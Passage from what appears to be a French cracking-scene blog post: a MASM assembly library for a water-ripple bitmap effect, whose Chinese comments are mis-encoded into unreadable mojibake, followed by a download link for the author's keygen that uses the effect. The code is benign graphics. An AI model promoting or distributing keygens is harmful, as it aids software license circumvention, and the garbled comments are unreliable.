; ¡ò Ž°¿Ú¿Í»§ÇøÇ¿ÖÆžüÐÂ£šÓÃÓÚÔÚŽ°¿ÚµÄWM_PAINTÏûÏ¢ÖÐÇ¿ÖÆžüÐÂ¿Í»§¶Ë£©
; .if uMsg == WM_PAINT
; invoke BeginPaint,hWnd,addr @stPs
; mov @hDc,eax
; invoke _WaveUpdateFrame,lpWaveObject,eax,TRUE
; invoke EndPaint,hWnd,addr @stPs
; xor eax,eax
; ret
;********************************************************************
; 3¡¢ÊÍ·ÅË®²š¶ÔÏó£º
; Ê¹ÓÃÍê±Ïºó£¬±ØÐëœ«Ë®²š¶ÔÏóÊÍ·Å£š±Ÿº¯Êýœ«ÊÍ·ÅÉêÇëµÄ»º³åÇøÄÚŽæµÈ×ÊÔŽ£©
; invoke _WaveFree,lpWaveObject
; lpWaveObject --> ÖžÏò WAVE_OBJECT œá¹¹
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ÊµÏÖÉÏµÄÏžœÚËµÃ÷£º
;
; 1¡¢ Ë®²šµÄÌØÕ÷£º
; ¡ò À©É¢£ºÃ¿Ò»µãµÄ²š»áÀ©É¢µœÆäËÄÖÜµÄÎ»ÖÃÖÐ
; ¡ò Ë¥Œõ£ºÃ¿ŽÎÀ©É¢»áËðÊ§ÉÙÁ¿ÄÜÁ¿£š·ñÔòË®²š»áÓÀ²»Í£Ö¹µÄÕðµŽÏÂÈ¥£©
;
; 2¡¢ ÎªÁË±£ŽæÁœžöÊ±¿ÌÖÐµÄÄÜÁ¿·Ö²œÍŒ£¬¶ÔÏóÖÐ¶šÒå2žö»º³åÇøWave1ºÍWave2
; £š±£ŽæÔÚlpWave1ºÍlpWave2ÖžÏòµÄ»º³åÇøÄÚ£©£¬Wave1Îªµ±Ç°ÊýŸÝ£¬Wave2Îª
; ÉÏÒ»Ö¡µÄÊýŸÝ£¬Ã¿ŽÎäÖÈŸÊ±œ«žùŸÝÉÏÃæµÄ2žöÌØÕ÷£¬ÓÉWave1µÄÊýŸÝŒÆËã³öÐÂ
; ÄÜÁ¿·Ö±ðÍŒºó£¬±£ŽæµœWave2ÖÐ£¬È»ºóµ÷»»Wave1ºÍWave2£¬ÕâÊ±Wave1ÈÔÊÇ×î
; ÐÂµÄÊýŸÝ¡£
; ŒÆËãµÄ·œ·šÎª£¬Ä³žöµãµÄÄÜÁ¿£œµãËÄÖÜµÄÉÏŽÎÄÜÁ¿µÄÆœŸùÖµ * Ë¥ŒõÏµÊý
; È¡ËÄÖÜµÄÆœŸùÖµ±íÏÖÁËÀ©Õ¹ÌØÕ÷£¬³ËÒÔË¥ŒõÏµÊý±íÏÖÁËË¥ŒõÌØÕ÷¡£
; Õâ²¿·ÖŽúÂëÔÚ _WaveSpread ×Ó³ÌÐòÖÐÊµÏÖ¡£
;
; 3¡¢ ¶ÔÏóÔÚ lpDIBitsSource ÖÐ±£ŽæÁËÔÊŒÎ»ÍŒµÄÊýŸÝ£¬Ã¿ŽÎäÖÈŸÊ±£¬ÓÉÔÊŒ
; Î»ÍŒµÄÊýŸÝžùŸÝWave1ÖÐ±£ŽæµÄÄÜÁ¿·Ö²œÊýŸÝ²úÉúÐÂµÄÎ»ÍŒ¡£ŽÓÊÓŸõÉÏ¿Ž£¬
; Ä³žöµãµÄÄÜÁ¿ÔœŽó£šË®²šÔœŽó£©£¬Ôò¹âÏßÕÛÉä³öÔœÔ¶ŽŠµÄ³¡Ÿ°¡£
; Ëã·šÎª£º¶ÔÓÚµã£šx,y£©£¬ÔÚWave1ÖÐÕÒ³öžÃµã£¬ŒÆËã³öÏàÁÚµãµÄ²šÄÜ²î
; £šDxºÍDyÁœžöÊýŸÝ£©£¬ÔòÐÂÎ»ÍŒÏñËØ£šx,y£©£œÔÊŒÎ»ÍŒÏñËØ£šx+Dx,y+Dy£©£¬
; žÃËã·š±íÏÖÁËÄÜÁ¿ŽóÐ¡Ó°ÏìÁËÏñËØÕÛÉäµÄÆ«ÒÆŽóÐ¡¡£
; Õâ²¿·ÖŽúÂëÔÚ _WaveRender ×Ó³ÌÐòÖÐÊµÏÖ¡£
;
; 4¡¢ ÈÓÊ¯Í·µÄËã·šºÜºÃÀíœâ£¬ŒŽœ«Wave1ÖÐµÄÄ³žöµãµÄÄÜÁ¿ÖµÖÃÎª·Ç0Öµ£¬ÊýÖµ
; ÔœŽó£¬±íÊŸÈÓÏÂµÄÊ¯Í·µÄÄÜÁ¿ÔœŽó¡£Ê¯Í·±ÈœÏŽó£¬Ôòœ«žÃµãËÄÖÜµÄµãÈ«²¿
; ÖÃÎª·Ç0Öµ¡£
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ifndef WAVEOBJ_INC
WAVEOBJ_INC equ 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
F_WO_ACTIVE equ 0001h
F_WO_NEED_UPDATE equ 0002h
F_WO_EFFECT equ 0004h
F_WO_ELLIPSE equ 0008h

WAVE_OBJECT struct
hWnd dd ?
dwFlag dd ? ; Œû F_WO_xxx ×éºÏ
;********************************************************************
hDcRender dd ?
hBmpRender dd ?
lpDIBitsSource dd ? ; ÔÊŒÏñËØÊýŸÝ
lpDIBitsRender dd ? ; ÓÃÓÚÏÔÊŸµœÆÁÄ»µÄÏñËØÊýŸÝ
lpWave1 dd ? ; Ë®²šÄÜÁ¿ÊýŸÝ»º³å1
lpWave2 dd ? ; Ë®²šÄÜÁ¿ÊýŸÝ»º³å2
;********************************************************************
dwBmpWidth dd ?
dwBmpHeight dd ?
dwDIByteWidth dd ? ; = (dwBmpWidth * 3 + 3) and ~3
dwWaveByteWidth dd ? ; = dwBmpWidth * 4
dwRandom dd ?
;********************************************************************
; ÌØÐ§²ÎÊý
;********************************************************************
dwEffectType dd ?
dwEffectParam1 dd ?
dwEffectParam2 dd ?
dwEffectParam3 dd ?
;********************************************************************
; ÓÃÓÚÐÐŽ¬ÌØÐ§
;********************************************************************
dwEff2X dd ?
dwEff2Y dd ?
dwEff2XAdd dd ?
dwEff2YAdd dd ?
dwEff2Flip dd ?
;********************************************************************
stBmpInfo BITMAPINFO <>
WAVE_OBJECT ends
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Ëæ»úÊý²úÉú×Ó³ÌÐò
; ÊäÈë£ºÒª²úÉúµÄËæ»úÊýµÄ×îŽóÖµ£¬Êä³ö£ºËæ»úÊý
; žùŸÝ£º
; 1. ÊýÑ§¹«Êœ Rnd=(Rnd*I+J) mod K Ñ»·»ØŽøÉú³É K ŽÎÒÔÄÚ²»ÖØžŽµÄ
; Î±Ëæ»úÊý£¬µ«K,I,J±ØÐëÎªËØÊý
; 2. 2^(2n-1)-1 ±Ø¶šÎªËØÊý£šŒŽ2µÄÆæÊýŽÎ·œŒõ1£©
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveRandom16 proc _lpWaveObject

mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT
push edx
push ecx
mov eax,[ebx].dwRandom
mov ecx,32768-1 ;2^15-1
mul ecx
add eax,2048-1 ;2^11-1
adc edx,0
mov ecx,2147483647 ;2^31-1
div ecx
mov eax,[ebx].dwRandom
mov [ebx].dwRandom,edx
and eax,0000ffffh
pop ecx
pop edx
ret

_WaveRandom16 endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveRandom proc uses ebx ecx edx _lpWaveObject,_dwMax

invoke _WaveRandom16,_lpWaveObject
mov edx,eax
invoke _WaveRandom16,_lpWaveObject
shl eax,16
or ax,dx
mov ecx,_dwMax
or ecx,ecx
jz @F
xor edx,edx
div ecx
mov eax,edx
@@:
ret

_WaveRandom endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ²šÄÜÀ©É¢
; Ëã·š£º
; Wave2(x,y) = (Wave1(x+1,y)+Wave1(x-1,y)+Wave1(x,y+1)+Wave1(x,y-1))/2-Wave2(x,y)
; Wave2(x,y) = Wave2(x,y) - Wave2(x,y) >> 5
; xchg Wave1,Wave2
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveSpread proc _lpWaveObject

pushad
mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT
;********************************************************************
test [ebx].dwFlag,F_WO_ACTIVE
jz _Ret

mov esi,[ebx].lpWave1
mov edi,[ebx].lpWave2
mov ecx,[ebx].dwBmpWidth

mov eax,[ebx].dwBmpHeight
dec eax
mul ecx
;********************************************************************
; ebx = width
; ecx = i£¬eax = max
;********************************************************************
.while ecx < eax
push eax
.if [ebx].dwFlag & F_WO_ELLIPSE
mov edx,[esi+ecx*4-1*4]
add edx,[esi+ecx*4+1*4]
add edx,[esi+ecx*4-2*4]
add edx,[esi+ecx*4+2*4]
lea edx,[edx+edx*2]
add edx,[esi+ecx*4-3*4]
add edx,[esi+ecx*4-3*4]
add edx,[esi+ecx*4+3*4]
add edx,[esi+ecx*4+3*4]

lea eax,[esi+ecx*4]
sub eax,[ebx].dwWaveByteWidth
mov eax,[eax]
shl eax,3
add edx,eax

lea eax,[esi+ecx*4]
add eax,[ebx].dwWaveByteWidth
mov eax,[eax]
shl eax,3
add edx,eax

sar edx,4
sub edx,[edi+ecx*4]

mov eax,edx
sar eax,5
sub edx,eax

mov [edi+ecx*4],edx
.else
mov edx,[esi+ecx*4-1*4]
add edx,[esi+ecx*4+1*4]

lea eax,[esi+ecx*4]
sub eax,[ebx].dwWaveByteWidth
add edx,[eax]

lea eax,[esi+ecx*4]
add eax,[ebx].dwWaveByteWidth
add edx,[eax]

sar edx,1
sub edx,[edi+ecx*4]

mov eax,edx
sar eax,5
sub edx,eax

mov [edi+ecx*4],edx
.endif
pop eax
inc ecx
.endw

mov [ebx].lpWave1,edi
mov [ebx].lpWave2,esi
_Ret:
;********************************************************************
assume ebx:nothing
popad
ret

_WaveSpread endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; esi -> edi, ecx = line width
; return = (4*Pixel(x,y)+3*Pixel(x-1,y)+3*Pixel(x+1,y)+3*Pixel(x,y+1)+3*Pixel(x,y-1))/16
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveGetPixel:
movzx eax,byte ptr [esi]
shl eax,2
movzx edx,byte ptr [esi+3]
lea edx,[edx+2*edx]
add eax,edx
movzx edx,byte ptr [esi-3]
lea edx,[edx+2*edx]
add eax,edx
movzx edx,byte ptr [esi+ecx]
lea edx,[edx+2*edx]
add eax,edx
mov edx,esi
sub edx,ecx
movzx edx,byte ptr [edx]
lea edx,[edx+2*edx]
add eax,edx
shr eax,4
mov [edi],al
inc esi
inc edi
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; äÖÈŸ×Ó³ÌÐò£¬œ«ÐÂµÄÖ¡ÊýŸÝäÖÈŸµœ lpDIBitsRender ÖÐ
; Ëã·š£º
; posx = Wave1(x-1,y)-Wave1(x+1,y)+x
; posy = Wave1(x,y-1)-Wave1(x,y+1)+y
; SourceBmp(x,y) = DestBmp(posx,posy)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveRender proc _lpWaveObject
local @dwPosX,@dwPosY,@dwPtrSource,@dwFlag

pushad
xor eax,eax
mov @dwFlag,eax
mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT

test [ebx].dwFlag,F_WO_ACTIVE
jz _Ret

or [ebx].dwFlag,F_WO_NEED_UPDATE
mov esi,[ebx].lpWave1
mov edi,[ebx].dwWaveByteWidth ; edi = ÏñËØÖžÕë

xor ecx,ecx
inc ecx ; ecx=i -- i=1; i<height; i++
_Loop1:
xor edx,edx ; edx=j -- j=0; j<width; j++
_Loop2:
push edx
;********************************************************************
; PosY=i+ÏñËØÉÏ1ÄÜÁ¿-ÏñËØÏÂ1ÄÜÁ¿
; PosX=j+ÏñËØ×ó1ÄÜÁ¿-ÏñËØÓÒ1ÄÜÁ¿
;********************************************************************
mov eax,edi
sub eax,[ebx].dwWaveByteWidth
mov eax,[esi+eax]
mov @dwPosY,eax

mov eax,[ebx].dwWaveByteWidth
lea eax,[edi+eax]
mov eax,[esi+eax]
sub @dwPosY,eax
add @dwPosY,ecx

mov eax,[esi+edi-4]
sub eax,[esi+edi+4]
add eax,edx ;@dwPosX = eax
mov @dwPosX,eax

cmp eax,0
jl _Continue
cmp eax,[ebx].dwBmpWidth
jge _Continue
mov eax,@dwPosY
cmp eax,0
jl _Continue
cmp eax,[ebx].dwBmpHeight
jge _Continue
;********************************************************************
; ptrSource = dwPosY * dwDIByteWidth + dwPosX * 3
; ptrDest = i * dwDIByteWidth + j * 3
;********************************************************************
mov eax,@dwPosX
lea eax,[eax+eax*2]
mov @dwPosX,eax
push edx
mov eax,@dwPosY
mul [ebx].dwDIByteWidth
add eax,@dwPosX
mov @dwPtrSource,eax

mov eax,ecx
mul [ebx].dwDIByteWidth
pop edx
lea edx,[edx+edx*2]
add eax,edx ;@dwPtrDest = eax
;********************************************************************
; äÖÈŸÏñËØ [ptrDest] = ÔÊŒÏñËØ [ptrSource]
;********************************************************************
pushad
mov ecx,@dwPtrSource
mov esi,[ebx].lpDIBitsSource
mov edi,[ebx].lpDIBitsRender
lea esi,[esi+ecx]
lea edi,[edi+eax]
.if ecx != eax
or @dwFlag,1 ;Èç¹ûŽæÔÚÔŽÏñËØºÍÄ¿±êÏñËØ²»Í¬£¬Ôò±íÊŸ»¹ÔÚ»î¶¯×ŽÌ¬
mov ecx,[ebx].dwDIByteWidth
call _WaveGetPixel
call _WaveGetPixel
call _WaveGetPixel
.else
cld
movsw
movsb
.endif
popad
;********************************************************************
; ŒÌÐøÑ»·
;********************************************************************
_Continue:
pop edx
inc edx
add edi,4 ; ÏñËØ++
cmp edx,[ebx].dwBmpWidth
jb _Loop2

inc ecx
mov eax,[ebx].dwBmpHeight
dec eax
cmp ecx,eax
jb _Loop1
;********************************************************************
; œ«äÖÈŸµÄÏñËØÊýŸÝ¿œ±Žµœ hDc ÖÐ
;********************************************************************
invoke SetDIBits,[ebx].hDcRender,[ebx].hBmpRender,0,[ebx].dwBmpHeight,\
[ebx].lpDIBitsRender,addr [ebx].stBmpInfo,DIB_RGB_COLORS
.if ! @dwFlag
and [ebx].dwFlag,not F_WO_ACTIVE
.endif
_Ret:
;********************************************************************
assume ebx:nothing
popad
ret

_WaveRender endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveUpdateFrame proc _lpWaveObject,_hDc,_bIfForce

pushad
mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT

cmp _bIfForce,0
jnz @F
.if [ebx].dwFlag & F_WO_NEED_UPDATE
@@:
invoke BitBlt,_hDc,0,0,[ebx].dwBmpWidth,[ebx].dwBmpHeight,\
[ebx].hDcRender,0,0,SRCCOPY
and [ebx].dwFlag,not F_WO_NEED_UPDATE
.endif

assume ebx:nothing
popad
ret

_WaveUpdateFrame endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ÈÓÒ»¿éÊ¯Í·
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveDropStone proc _lpWaveObject,_dwX,_dwY,_dwSize,_dwWeight
local @dwMaxX,@dwMaxY

pushad
mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT
;********************************************************************
; ŒÆËã·¶Î§
;********************************************************************
mov edx,_dwSize
shr edx,1

mov eax,_dwX
mov esi,_dwY

mov ecx,eax
mov edi,esi
add eax,edx ; x + size
sub ecx,edx ; x - size

push edx
.if [ebx].dwFlag & F_WO_ELLIPSE
shr edx,1
.endif
add esi,edx ; y + size
sub edi,edx ; y - size
pop edx

shl edx,1
.if ! edx
inc edx
.endif
mov _dwSize,edx
;********************************************************************
; ÅÐ¶Ï·¶Î§µÄºÏ·šÐÔ
;********************************************************************
inc eax
cmp eax,[ebx].dwBmpWidth
jge _Ret
cmp ecx,1
jl _Ret
inc esi
cmp esi,[ebx].dwBmpHeight
jge _Ret
cmp edi,1
jl _Ret

dec eax
dec esi
;********************************************************************
; œ«·¶Î§ÄÚµÄµãµÄÄÜÁ¿ÖÃÎª _dwWeight
;********************************************************************
mov @dwMaxX,eax
mov @dwMaxY,esi
.while ecx <= @dwMaxX
push edi
.while edi <= @dwMaxY
mov eax,ecx
sub eax,_dwX
imul eax
push eax
mov eax,edi
sub eax,_dwY
imul eax
pop edx
add eax,edx
push eax
mov eax,_dwSize
imul eax
pop edx
.if edx <= eax
mov eax,edi
mul [ebx].dwBmpWidth
add eax,ecx
shl eax,2
add eax,[ebx].lpWave1
push _dwWeight
pop [eax]
.endif
inc edi
.endw
pop edi
inc ecx
.endw
or [ebx].dwFlag,F_WO_ACTIVE
;********************************************************************
_Ret:
assume ebx:nothing
popad
ret

_WaveDropStone endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ŒÆËãÀ©É¢ÊýŸÝ¡¢äÖÈŸÎ»ÍŒ¡¢žüÐÂŽ°¿Ú¡¢ŽŠÀíÌØÐ§µÄ¶šÊ±Æ÷¹ý³Ì
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveTimerProc proc _hWnd,_uMsg,_idEvent,_dwTime

pushad
mov ebx,_idEvent
assume ebx:ptr WAVE_OBJECT

invoke _WaveSpread,ebx
invoke _WaveRender,ebx
.if [ebx].dwFlag & F_WO_NEED_UPDATE
invoke GetDC,[ebx].hWnd
invoke _WaveUpdateFrame,ebx,eax,FALSE
invoke ReleaseDC,[ebx].hWnd,eax
.endif
;********************************************************************
; ÌØÐ§ŽŠÀí
;********************************************************************
test [ebx].dwFlag,F_WO_EFFECT
jz _Ret
mov eax,[ebx].dwEffectType
;********************************************************************
; Type = 1 Óêµã£¬Param1£œËÙ¶È£š0×î¿ì£¬ÔœŽóÔœÂý£©£¬Param2£œÓêµãŽóÐ¡£¬Param3£œÄÜÁ¿
;********************************************************************
.if eax == 1
mov eax,[ebx].dwEffectParam1
or eax,eax
jz @F
invoke _WaveRandom,ebx,eax
.if ! eax
@@:
mov eax,[ebx].dwBmpWidth
dec eax
dec eax
invoke _WaveRandom,ebx,eax
inc eax
mov ecx,eax

mov eax,[ebx].dwBmpHeight
dec eax
dec eax
invoke _WaveRandom,ebx,eax
inc eax
mov edx,eax

invoke _WaveRandom,ebx,[ebx].dwEffectParam2
inc eax
mov esi,eax
invoke _WaveRandom,ebx,[ebx].dwEffectParam3
add eax,50
invoke _WaveDropStone,ebx,ecx,edx,esi,eax
.endif
;********************************************************************
; Type = 2 ÐÐŽ¬£¬Param1£œËÙ¶È£š0×î¿ì£¬ÔœŽóÔœ¿ì£©£¬Param2£œŽóÐ¡£¬Param3£œÄÜÁ¿
;********************************************************************
.elseif eax == 2
inc [ebx].dwEff2Flip
test [ebx].dwEff2Flip,1
jnz _Ret

mov ecx,[ebx].dwEff2X
mov edx,[ebx].dwEff2Y
add ecx,[ebx].dwEff2XAdd
add edx,[ebx].dwEff2YAdd

cmp ecx,1
jge @F
sub ecx,1
neg ecx
neg [ebx].dwEff2XAdd
@@:
cmp edx,1
jge @F
sub edx,1
neg edx
neg [ebx].dwEff2YAdd
@@:
mov eax,[ebx].dwBmpWidth
dec eax
cmp ecx,eax
jl @F
sub ecx,eax
xchg eax,ecx
sub ecx,eax
neg [ebx].dwEff2XAdd
@@:
mov eax,[ebx].dwBmpHeight
dec eax
cmp edx,eax
jl @F
sub edx,eax
xchg eax,edx
sub edx,eax
neg [ebx].dwEff2YAdd
@@:
mov [ebx].dwEff2X,ecx
mov [ebx].dwEff2Y,edx
invoke _WaveDropStone,ebx,ecx,edx,[ebx].dwEffectParam2,[ebx].dwEffectParam3
;********************************************************************
; Type = 3 ²šÀË£¬Param1£œÃÜ¶È£¬Param2£œŽóÐ¡£¬Param3£œÄÜÁ¿
;********************************************************************
.elseif eax == 3
xor edi,edi
.while edi <= [ebx].dwEffectParam1
mov eax,[ebx].dwBmpWidth
dec eax
dec eax
invoke _WaveRandom,ebx,eax
inc eax
mov ecx,eax

mov eax,[ebx].dwBmpHeight
dec eax
dec eax
invoke _WaveRandom,ebx,eax
inc eax
mov edx,eax

invoke _WaveRandom,ebx,[ebx].dwEffectParam2
inc eax
mov esi,eax
invoke _WaveRandom,ebx,[ebx].dwEffectParam3
invoke _WaveDropStone,ebx,ecx,edx,esi,eax
inc edi
.endw
.endif
_Ret:
assume ebx:nothing
popad
ret

_WaveTimerProc endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ÊÍ·Å¶ÔÏó
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveFree proc _lpWaveObject

pushad
mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT
;********************************************************************
.if [ebx].hDcRender
invoke DeleteDC,[ebx].hDcRender
.endif
.if [ebx].hBmpRender
invoke DeleteObject,[ebx].hBmpRender
.endif
.if [ebx].lpDIBitsSource
invoke GlobalFree,[ebx].lpDIBitsSource
.endif
.if [ebx].lpDIBitsRender
invoke GlobalFree,[ebx].lpDIBitsRender
.endif
.if [ebx].lpWave1
invoke GlobalFree,[ebx].lpWave1
.endif
.if [ebx].lpWave2
invoke GlobalFree,[ebx].lpWave2
.endif
invoke KillTimer,[ebx].hWnd,ebx
invoke RtlZeroMemory,ebx,sizeof WAVE_OBJECT
;********************************************************************
assume ebx:nothing
popad
ret

_WaveFree endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ³õÊŒ»¯¶ÔÏó
; ²ÎÊý£º_lpWaveObject £œ ÖžÏò WAVE_OBJECTµÄÖžÕë
; ·µ»Ø£ºeax = 0 ³É¹Š¡¢= 1 Ê§°Ü
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveInit proc _lpWaveObject,_hWnd,_hBmp,_dwSpeed,_dwType
local @stBmp:BITMAP,@dwReturn

pushad
xor eax,eax
mov @dwReturn,eax
mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT
invoke RtlZeroMemory,ebx,sizeof WAVE_OBJECT

.if _dwType
or [ebx].dwFlag,F_WO_ELLIPSE
.endif
;********************************************************************
; »ñÈ¡Î»ÍŒ³ßŽç
;********************************************************************
push _hWnd
pop [ebx].hWnd
invoke GetTickCount
mov [ebx].dwRandom,eax

invoke GetObject,_hBmp,sizeof BITMAP,addr @stBmp
.if ! eax
@@:
inc @dwReturn
jmp _Ret
.endif
mov eax,@stBmp.bmHeight
mov [ebx].dwBmpHeight,eax
cmp eax,3
jle @B
mov eax,@stBmp.bmWidth
mov [ebx].dwBmpWidth,eax
cmp eax,3
jle @B

push eax
shl eax,2
mov [ebx].dwWaveByteWidth,eax
pop eax
lea eax,[eax+eax*2]
add eax,3
and eax,not 0011b
mov [ebx].dwDIByteWidth,eax
;********************************************************************
; ŽŽœšÓÃÓÚäÖÈŸµÄÎ»ÍŒ
;********************************************************************
invoke GetDC,_hWnd
mov esi,eax
invoke CreateCompatibleDC,esi
mov [ebx].hDcRender,eax
invoke CreateCompatibleBitmap,esi,[ebx].dwBmpWidth,[ebx].dwBmpHeight
mov [ebx].hBmpRender,eax
invoke SelectObject,[ebx].hDcRender,eax
;********************************************************************
; ·ÖÅä²šÄÜ»º³åÇø
;********************************************************************
mov eax,[ebx].dwWaveByteWidth
mul [ebx].dwBmpHeight
mov edi,eax
invoke GlobalAlloc,GPTR,edi
mov [ebx].lpWave1,eax
invoke GlobalAlloc,GPTR,edi
mov [ebx].lpWave2,eax
;********************************************************************
; ·ÖÅäÏñËØ»º³åÇø
;********************************************************************
mov eax,[ebx].dwDIByteWidth
mul [ebx].dwBmpHeight
mov edi,eax
invoke GlobalAlloc,GPTR,edi
mov [ebx].lpDIBitsSource,eax
invoke GlobalAlloc,GPTR,edi
mov [ebx].lpDIBitsRender,eax
;********************************************************************
; »ñÈ¡ÔÊŒÏñËØÊýŸÝ
;********************************************************************
mov [ebx].stBmpInfo.bmiHeader.biSize,sizeof BITMAPINFOHEADER
push [ebx].dwBmpWidth
pop [ebx].stBmpInfo.bmiHeader.biWidth
mov eax,[ebx].dwBmpHeight
neg eax
mov [ebx].stBmpInfo.bmiHeader.biHeight,eax
inc [ebx].stBmpInfo.bmiHeader.biPlanes
mov [ebx].stBmpInfo.bmiHeader.biBitCount,24
mov [ebx].stBmpInfo.bmiHeader.biCompression,BI_RGB
mov [ebx].stBmpInfo.bmiHeader.biSizeImage,0

invoke CreateCompatibleDC,esi
push eax
invoke SelectObject,eax,_hBmp
invoke ReleaseDC,_hWnd,esi
pop eax
mov esi,eax

invoke GetDIBits,esi,_hBmp,0,[ebx].dwBmpHeight,[ebx].lpDIBitsSource,\
addr [ebx].stBmpInfo,DIB_RGB_COLORS
invoke GetDIBits,esi,_hBmp,0,[ebx].dwBmpHeight,[ebx].lpDIBitsRender,\
addr [ebx].stBmpInfo,DIB_RGB_COLORS
invoke DeleteDC,esi

.if ![ebx].lpWave1 || ![ebx].lpWave2 || ![ebx].lpDIBitsSource ||\
![ebx].lpDIBitsRender || ![ebx].hDcRender
invoke _WaveFree,ebx
inc @dwReturn
.endif

invoke SetTimer,_hWnd,ebx,_dwSpeed,addr _WaveTimerProc

or [ebx].dwFlag,F_WO_ACTIVE or F_WO_NEED_UPDATE
invoke _WaveRender,ebx
invoke GetDC,[ebx].hWnd
invoke _WaveUpdateFrame,ebx,eax,TRUE
invoke ReleaseDC,[ebx].hWnd,eax
;********************************************************************
_Ret:
assume ebx:nothing
popad
mov eax,@dwReturn
ret

_WaveInit endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Ò»Ð©ÌØÐ§
; ÊäÈë£º_dwType = 0 ¹Ø±ÕÌØÐ§
; _dwType <> 0 ¿ªÆôÌØÐ§£¬²ÎÊýŸßÌåŒûÉÏÃæ
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveEffect proc uses ebx eax _lpWaveObject,\
_dwType,_dwParam1,_dwParam2,_dwParam3
local @dwMaxX,@dwMaxY

mov ebx,_lpWaveObject
assume ebx:ptr WAVE_OBJECT
;********************************************************************
mov eax,_dwType
.if eax == 0
;********************************************************************
; ¹Ø±ÕÌØÐ§
;********************************************************************
and [ebx].dwFlag,not F_WO_EFFECT
mov [ebx].dwEffectType,eax
.elseif eax == 2
;********************************************************************
; ÐÐŽ¬ÌØÐ§
;********************************************************************
mov eax,_dwParam1
mov [ebx].dwEff2XAdd,eax
mov [ebx].dwEff2YAdd,eax

mov eax,[ebx].dwBmpWidth
dec eax
dec eax
invoke _WaveRandom,ebx,eax
inc eax
mov [ebx].dwEff2X,eax

mov eax,[ebx].dwBmpHeight
dec eax
dec eax
invoke _WaveRandom,ebx,eax
inc eax
mov [ebx].dwEff2Y,eax

jmp @F
.else
;********************************************************************
; Ä¬ÈÏ
;********************************************************************
@@:
push _dwType
pop [ebx].dwEffectType
push _dwParam1
pop [ebx].dwEffectParam1
push _dwParam2
pop [ebx].dwEffectParam2
push _dwParam3
pop [ebx].dwEffectParam3
or [ebx].dwFlag,F_WO_EFFECT
.endif
;********************************************************************
assume ebx:nothing
ret

_WaveEffect endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Voici un petit screen :

Pour download mon keygen : https://www.re-xe.com/wp-content/uploads/2010/12/keygen_with_water_effect.zip

Voilà tout, bon courage 🙂

Merci à toi Xylitol.

